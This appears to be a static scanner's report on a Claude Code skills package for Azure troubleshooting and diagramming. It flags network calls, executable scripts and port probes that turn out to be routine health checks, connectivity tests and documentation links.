| High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for - Network accessline 8
| Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for details on build errors, locked files or lack of storage quota | - Network accessline 30
**Fix:** Scale up (`az appservice plan update -n <app-service-plan-name> -g <resource-group> --sku P1V3`) or profile the app via Kudu Process Explorer at `https://APP.scm.azurewebsites.net/ProcessExplorer/` to identify hot paths. - Network accessline 96
# Test the endpoint directly curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health - Network accessline 97
curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health
harness/claude-code/skills/azure-diagnostics/references/container-apps/README.md
harness/claude-code/skills/azure-diagnostics/references/kql-queries.md
harness/claude-code/skills/azure-diagnostics/scripts/aks-baseline.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/azure-diagnostics/scripts/aks-baseline.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/skills/azure-diagnostics/scripts/appservice-diagnostics.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/azure-diagnostics/scripts/appservice-diagnostics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/skills/azure-diagnostics/scripts/containerapp-diagnostics.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/azure-diagnostics/scripts/containerapp-diagnostics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/skills/azure-diagnostics/scripts/pod-evidence.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/azure-diagnostics/scripts/pod-evidence.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/skills/azure-diagnostics/scripts/run-ig.ps1
- Executable scriptline 1
Executable file
harness/claude-code/skills/azure-diagnostics/scripts/run-ig.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/skills/azure-diagnostics/scripts/test-messaging-connectivity.ps1
- Executable scriptline 1
Executable file - Network accessline 89
function Get-HttpsResult { try { $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 ` - Network accessline 90
try { $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 ` -UseBasicParsing -ErrorAction Stop - Network accessline 91
$resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `
harness/claude-code/skills/azure-diagnostics/scripts/test-messaging-connectivity.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 99
probe_tcp() { local host="$1" port="$2" if command -v nc >/dev/null 2>&1; then - Network accessline 100
local host="$1" port="$2" if command -v nc >/dev/null 2>&1; then if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then - Network accessline 101
if command -v nc >/dev/null 2>&1; then - Network accessline 102
if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then - Dangerous shell operationline 108
( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 & - Network accessline 108
( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 & - Network accessline 132
# ── HTTPS reachability ──────────────────────────────────────────────────────── # On success the namespace returns an Atom feed or HTTP 401 — either proves the # endpoint is reachable. A connection failure (curl exit != 0) means blocked. - Network accessline 134
# endpoint is reachable. A connection failure (curl exit != 0) means blocked. - Network accessline 135
https_result() { if ! command -v curl >/dev/null 2>&1; then - Network accessline 136
if ! command -v curl >/dev/null 2>&1; then - Network accessline 138
if probe_tcp "$FQDN" 443; then echo "reachable (TCP 443 open; curl unavailable for HTTP check)" - Network accessline 139
echo "reachable (TCP 443 open; curl unavailable for HTTP check)" - Network accessline 144
fi local code code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null) - Network accessline 145
local code code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null) local rc=$? - Network accessline 146
code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null) - Network accessline 149
echo "reachable (HTTP $code)" else echo "BLOCKED (curl exit $rc)" - Network accessline 150
else echo "BLOCKED (curl exit $rc)" fi - Network accessline 151
echo "BLOCKED (curl exit $rc)"
harness/claude-code/skills/azure-diagnostics/troubleshooting/aks/networking.md
- Network accessline 3
For CNI-specific issues, check CNI pod health and review [AKS networking concepts](https://learn.microsoft.com/azure/aks/concepts-network). - Network accessline 15
# This creates a temporary pod. Prefer read-only checks first. # Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \ - Network accessline 16
# Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \ curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz - Network accessline 17
kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \ - Network accessline 18
curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz
harness/claude-code/skills/azure-diagnostics/troubleshooting/aks/node-issues.md
- Network accessline 97
See [AKS resource reservations](https://learn.microsoft.com/azure/aks/concepts-clusters-workloads#resource-reservations) for allocatable math.
harness/claude-code/skills/azure-diagnostics/troubleshooting/aks/spot-and-zone-issues.md
- Network accessline 64
Use `Premium_ZRS` or `StandardSSD_ZRS` in custom StorageClasses to reduce zonal PVC conflicts. See [AKS storage best practices](https://learn.microsoft.com/azure/aks/operator-best-practices-storage).
harness/claude-code/skills/azure-diagnostics/troubleshooting/compute/references/cannot-connect-to-vm.md
- Network accessline 48
[Windows RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection - Network accessline 49
[Linux SSH]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection - Network accessline 50
[Windows VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/welcome-virtual-machines-windows - Network accessline 51
[Linux VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/welcome-virtual-machines-linux
harness/claude-code/skills/azure-diagnostics/troubleshooting/compute/references/credential-auth-errors.md
- Dangerous shell operationline 16
| sudo prompt fails | Linux | Fix sudoers via Run Command or Serial Console | [SSH overview] | - Network accessline 33
[Reset RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp - Network accessline 34
[RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection - Network accessline 35
[RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors - Network accessline 36
[CredSSP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/credssp-encryption-oracle-remediation - Network accessline 37
[SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection - Network accessline 38
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
harness/claude-code/skills/azure-diagnostics/troubleshooting/compute/references/firewall-blocking.md
- Network accessline 36
[Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic - Network accessline 37
[Firewall rule]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/enable-disable-firewall-rule-guest-os - Network accessline 38
[Offline firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/disable-guest-os-firewall-windows - Network accessline 39
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection - Network accessline 40
[Linux repair]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-linux-vm-using-azure-virtual-machine-repair-commands
harness/claude-code/skills/azure-diagnostics/troubleshooting/compute/references/network-connectivity.md
- Network accessline 36
[RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem - Network accessline 37
[Traffic filter]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-traffic-filtering-problem - Network accessline 38
[Routing]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-routing-problem - Network accessline 39
[Public IP]: https://learn.microsoft.com/en-us/azure/virtual-network/ip-services/public-ip-addresses - Network accessline 40
[RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled - Network accessline 41
[Reset NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-network-interface - Network accessline 42
[DHCP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-dhcp-disabled - Network accessline 43
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
harness/claude-code/skills/azure-diagnostics/troubleshooting/compute/references/rdp-connectivity.md
- Network accessline 34
[RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem - Network accessline 35
[Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic - Network accessline 36
[RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors - Network accessline 37
[Internal]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal-error - Network accessline 38
[General]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-error - Network accessline 39
[Detailed]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubleshoot-rdp - Network accessline 40
[RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection - Network accessline 41
[Event IDs]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/event-id-troubleshoot-vm-rdp-connecton - Network accessline 42
[RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled
harness/claude-code/skills/azure-diagnostics/troubleshooting/compute/references/rdp-service-config.md
- Network accessline 7
| Symptom | Solution | Documentation - Network accessline 8
| -------------------------------------- | ---------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- - Network accessline 9
| TermService not running | Start the service and set to Automatic | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp) - Network accessline 10
| RDP port changed from 3389 | Reset port or update NSG to allow the custom port | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl - Network accessline 11
| RDP disabled (fDenyTSConnections = 1) | Reset RDP config via CLI or Portal | [Reset RDP service](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp) - Network accessline 12
| TLS/SSL certificate expired or corrupt | Delete cert and restart TermService to regenerate | [RDP internal error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal - Network accessline 13
| NLA/Security Layer mismatch | Temporarily disable NLA for recovery | [RDP general error](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-e - Network accessline 14
| GPO overriding local RDP settings | Check `HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services` | [Detailed RDP troubleshooting](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubl - Network accessline 15
| RDS licensing expired | Remove RDSH role or configure license server | [Specific RDP errors](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rd
harness/claude-code/skills/azure-diagnostics/troubleshooting/compute/references/ssh-connectivity.md
- Network accessline 34
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection - Network accessline 35
[SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection - Network accessline 36
[Debian]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/cannot-connect-debian-linux - Network accessline 37
[SELinux]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/linux-selinux-troubleshooting - Network accessline 38
[UEFI]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/azure-linux-vm-uefi-boot-failures
harness/claude-code/skills/azure-diagnostics/troubleshooting/compute/references/vm-agent-not-responding.md
- Network accessline 9
| Symptom | OS | Solution | Documentation - Network accessline 10
| ---------------------------------------------------------------- | ------- | -------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ - Network accessline 11
| Run Command times out | Windows | VM agent may be down — use Serial Console instead | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo - Network accessline 12
| Run Command times out | Linux | VM agent may be down — use Serial Console instead | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/s - Network accessline 13
| Password reset fails via Portal/CLI | Windows | VMAccess extension can't communicate — use offline reset | [Reset password without agent](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/w - Network accessline 14
| Password/key reset fails via Portal/CLI | Linux | VMAccess extension can't communicate — use Serial Console | [Serial Console — Linux](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/ - Network accessline 15
| VM not booting (Boot Diagnostics shows BSOD/stuck) | Windows | OS-level issue — use repair VM for offline fix | [Repair Windows VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/repa - Network accessline 16
| VM not booting (Boot Diagnostics shows kernel panic/stuck) | Linux | Use repair VM for offline Linux disk fix | [Repair Linux VM](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-l - Network accessline 17
| VMAccess extension error on domain controller | Windows | VMAccess doesn't support DCs — use Serial Console | [Serial Console — Windows](https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windo
harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-dotnet.md
- Network accessline 3
Package: `Azure.Messaging.EventHubs` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/A - Network accessline 27
Configure via `EventHubsRetryOptions` when creating the client. See [Configuring retry thresholds sample](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/samples). - Network accessline 31
- **Socket exhaustion**: Treat clients as singletons. Share `EventHubConnection` across clients if needed. Always call `CloseAsync` or `DisposeAsync`. - **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error - Network accessline 32
- **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error. - **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://gith - Network accessline 33
- **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/TROUBLESHOO
harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-java.md
- Network accessline 3
Package: `azure-messaging-eventhubs` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhubs/azure-messaging-eventhubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhu - Network accessline 5
> ⚠<U+FE0F> **Note:** The detailed Java troubleshooting guide has moved to [Microsoft Learn](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview). - Network accessline 29
See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview) for details.
harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-js.md
- Network accessline 3
Package: `@azure/event-hubs` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/TROUBLESHOOTING
harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-py.md
- Network accessline 3
Package: `azure-eventhub` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub/TRO
harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-dotnet.md
- Network accessline 3
Package: `Azure.Messaging.ServiceBus` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servicebus/Azure.Messaging.ServiceBus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servic - Network accessline 12
| `ServiceBusException` (QuotaExceeded) | Too many concurrent receives | Reduce receivers or use batch receives | | `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual - Network accessline 13
| `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual messages up to 100MB. Batch limit is artificially computed on the client from the max message size sent by the ser - Network accessline 14
| `ServiceBusException` (ServiceBusy) | Request throttled | Auto-retried with 10s backoff. See [throttling docs](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-throttling) |
harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-java.md
- Network accessline 3
Package: `azure-messaging-servicebus` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/servicebus/azure-messaging-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/serv - Network accessline 30
Even with prefetch disabled in the builder, `receiveMessages` API can re-enable prefetch implicitly. See [SyncReceiveAndPrefetch](https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/servicebus/azure-messaging-servicebus/docs/SyncRecei - Network accessline 45
See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-service-bus-overview) for details.
harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-js.md
- Network accessline 3
Package: `@azure/service-bus` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/TROUBLES
harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-py.md
- Network accessline 3
Package: `azure-servicebus` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-ser
harness/claude-code/skills/azure-diagnostics/troubleshooting/messaging/service-troubleshooting.md
- Network accessline 9
1. **Verify connection string** — Get from Azure portal. For **Event Hubs (Kafka endpoint)** clients, also check `producer.config` / `consumer.config`. 2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status) - Network accessline 10
2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status) - Network accessline 80
- [Event Hubs troubleshooting guide](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide) - Network accessline 81
- [Service Bus troubleshooting guide](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-troubleshooting-guide) - Network accessline 82
- [Event Hubs quotas and limits](https://learn.microsoft.com/azure/event-hubs/event-hubs-quotas) - Network accessline 83
- [Service Bus quotas and limits](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-quotas) - Network accessline 84
- [Event Hubs AMQP troubleshooting](https://learn.microsoft.com/azure/event-hubs/event-hubs-amqp-troubleshoot) - Network accessline 85
- [Service Bus AMQP troubleshooting](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-amqp-troubleshoot) - Network accessline 86
- [Event Hubs IP addresses and service tags](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide#what-ip-addresses-do-i-need-to-allow) - Network accessline 87
- [Service Bus IP addresses](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-faq#what-ip-addresses-do-i-need-to-add-to-allowlist-)
harness/claude-code/skills/azure-draw-io-diagram-generator/references/diagram-quality-standard.md
- Network accessline 5
Verification date: 2026-08-25. Primary source: [Create architecture design diagrams](https://learn.microsoft.com/en-us/azure/well-architected/architect-role/design-diagrams).
harness/claude-code/skills/azure-draw-io-diagram-generator/references/drawio-xml-schema.md
- Network accessline 133
iconProvider="azure" iconProduct="Azure Key Vault" iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/" - Network accessline 134
iconProduct="Azure Key Vault" iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/" iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/" - Network accessline 135
iconSource="https://learn.microsoft.com/en-us/azure/architecture/icons/" - Network accessline 136
iconTerms="https://learn.microsoft.com/en-us/azure/architecture/icons/"
harness/claude-code/skills/azure-draw-io-diagram-generator/references/official-icon-policy.md
- Network accessline 20
| Family | Official source | Permitted diagram use and constraints | | --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distribu - Network accessline 21
| --- | --- | --- | | Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, tra - Network accessline 22
| Azure services | [Azure Architecture Center icons](https://learn.microsoft.com/en-us/azure/architecture/icons/) | Microsoft permits copying, distributing, and displaying the supplied icons in architecture diagrams, training materials, or - Network accessline 23
| Microsoft Entra | [Microsoft Entra architecture icons](https://learn.microsoft.com/en-us/entra/architecture/architecture-icons) | Same architecture, training, and documentation permission. Do not use the architecture icons in marketing co - Network accessline 24
| Microsoft Fabric | [Microsoft Fabric icons](https://learn.microsoft.com/en-us/fabric/fundamentals/icons) | Use product, experience, and item icons in diagrams, slide decks, training, or documentation without altering them. Label the exact - Network accessline 25
| Power Platform | [Microsoft Power Platform icons](https://learn.microsoft.com/en-us/power-platform/guidance/icons) | Use in architecture diagrams, training materials, or documentation. Preserve the icons and use them only for the represen - Network accessline 26
| Dynamics 365 | [Microsoft Dynamics 365 icons](https://learn.microsoft.com/en-us/dynamics365/get-started/icons) | Use in architecture diagrams, training materials, or documentation. Do not use removed or deprecated app icons from older pac - Network accessline 27
| Microsoft 365 | [Microsoft 365 architecture icons and templates](https://learn.microsoft.com/en-us/previous-versions/microsoft-365/solutions/architecture-icons-templates) | The first-party page is archived and retired. Treat it as a fallb - Network accessline 28
| General Microsoft brand assets | [Microsoft Trademark and Brand Guidelines](https://www.microsoft.com/en-us/legal/intellectualproperty/trademarks) | Many logos, app icons, and product icons require a license. Product-family architecture t - Network accessline 29
| GitHub interface concepts | [GitHub Primer Octicons](https://github.com/primer/octicons) | Octicons are GitHub-built SVG interface icons and the repository code license is MIT. Use them for covered interface or workflow concepts, not as s - Network accessline 30
| GitHub logos and product lockups | [GitHub brand logo guidance](https://brand.github.com/foundations/logo) | Use only in permitted contexts, with high contrast and secondary placement. Do not imply affiliation, use a GitHub mark as the us - Network accessline 31
| GitHub Copilot | [GitHub Copilot brand guidance](https://brand.github.com/brand-identity/copilot) | Use current product lockups only when the use is permitted. The former standalone GitHub Copilot logo has been deprecated since 2025; do n
harness/claude-code/skills/azure-draw-io-diagram-generator/scripts/.gitignore
- Executable scriptline 1
Executable file
harness/claude-code/skills/azure-draw-io-diagram-generator/scripts/README.md
- Network accessline 61
python scripts/add-icon.py docs/architecture.drawio ./icons/key-vault.svg "Azure Key Vault" 320 180 --provider azure --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ - Network accessline 62
"Azure Key Vault" 320 180 \ --provider azure \ --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ - Network accessline 63
--provider azure \ --source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ --terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ - Network accessline 64
--source-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \ - Network accessline 65
--terms-url https://learn.microsoft.com/en-us/azure/architecture/icons/ \
harness/claude-code/skills/azure-draw-io-diagram-generator/scripts/add-icon.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/azure-draw-io-diagram-generator/scripts/add-shape.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/skills/azure-draw-io-diagram-generator/scripts/validate-drawio.py
harness/claude-code/skills/azure-enterprise-infra-planner/references/constraints/networking-connectivity.md
- Network accessline 8
| **Developer SKU** | Does NOT require `AzureBastionSubnet` or public IP. Deploys as shared infrastructure. Only connects to VMs in the same VNet. | | **Public IP** | Requires Standard SKU public IP with Static allocation. | | **NSG** | NSG - Network accessline 9
| **Public IP** | Requires Standard SKU public IP with Static allocation. | | **NSG** | NSG on `AzureBastionSubnet` requires mandatory inbound (HTTPS 443 from Internet, GatewayManager 443) and outbound rules (see [Bastion NSG docs](https:// - Network accessline 10
| **NSG** | NSG on `AzureBastionSubnet` requires mandatory inbound (HTTPS 443 from Internet, GatewayManager 443) and outbound rules (see [Bastion NSG docs](https://learn.microsoft.com/azure/bastion/bastion-nsg)). |
harness/claude-code/skills/azure-enterprise-infra-planner/references/constraints/networking-core.md
- Network accessline 32
|-------------|------------| | **GatewaySubnet** | NSGs are not supported on `GatewaySubnet`. Associating an NSG may cause VPN and ExpressRoute gateways to stop functioning. | | **AzureBastionSubnet** | NSG on Bastion subnet requires specif - Network accessline 33
| **GatewaySubnet** | NSGs are not supported on `GatewaySubnet`. Associating an NSG may cause VPN and ExpressRoute gateways to stop functioning. | | **AzureBastionSubnet** | NSG on Bastion subnet requires specific inbound/outbound rules (se - Network accessline 34
| **AzureBastionSubnet** | NSG on Bastion subnet requires specific inbound/outbound rules (see [Azure Bastion NSG](https://learn.microsoft.com/azure/bastion/bastion-nsg)). |
harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/ai-ml.md
- Network accessline 11
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/micro - Network accessline 12
|----------|----------------|------------------|--------------|------------| | Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cognitiveservices/accounts?pivots=deployment-language-bicep) | [Custom su - Network accessline 13
| Cognitive Services | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.cognitiveservices/accounts?pivots=deployment-language-bicep) | [Custom subdomain names](https://learn.microsoft.com/azure/ai-services/cognitive-servic - Network accessline 14
| ML Workspace | [2025-06-01](https://learn.microsoft.com/azure/templates/microsoft.machinelearningservices/workspaces?pivots=deployment-language-bicep) | [ML Services](https://learn.microsoft.com/azure/templates/microsoft.machinelearningse - Network accessline 15
| AI Search | [2025-05-01](https://learn.microsoft.com/azure/templates/microsoft.search/searchservices?pivots=deployment-language-bicep) | [Service limits](https://learn.microsoft.com/azure/search/search-limits-quotas-capacity) | [Naming ru
harness/claude-code/skills/azure-enterprise-infra-planner/references/resources/compute-apps.md
- Network accessline 15
| Resource | Bicep Reference | Service Overview | Naming Rules | Additional | |----------|----------------|------------------|--------------|------------| | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.we - Network accessline 16
|----------|----------------|------------------|--------------|------------| | App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [App Service overview](https://lea - Network accessline 17
| App Service | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/sites?pivots=deployment-language-bicep) | [App Service overview](https://learn.microsoft.com/azure/app-service/overview) | [Naming rules](https://learn.m - Network accessline 18
| App Service Plan | [2024-11-01](https://learn.microsoft.com/azure/templates/microsoft.web/serverfarms?pivots=deployment-language-bicep) | [Plan overview](https://learn.microsoft.com/azure/app-service/overview-hosting-plans) | [Naming rule - Network accessline 19
| Container App | [2025-01-01](https://learn.microsoft.com/azure/templates/microsoft.app/containerapps?pivots=deployment-language-bicep) | [Container Apps overview](https://learn.microsoft.com/azure/container-apps/overview) | [Naming rules] - Network accessline 20
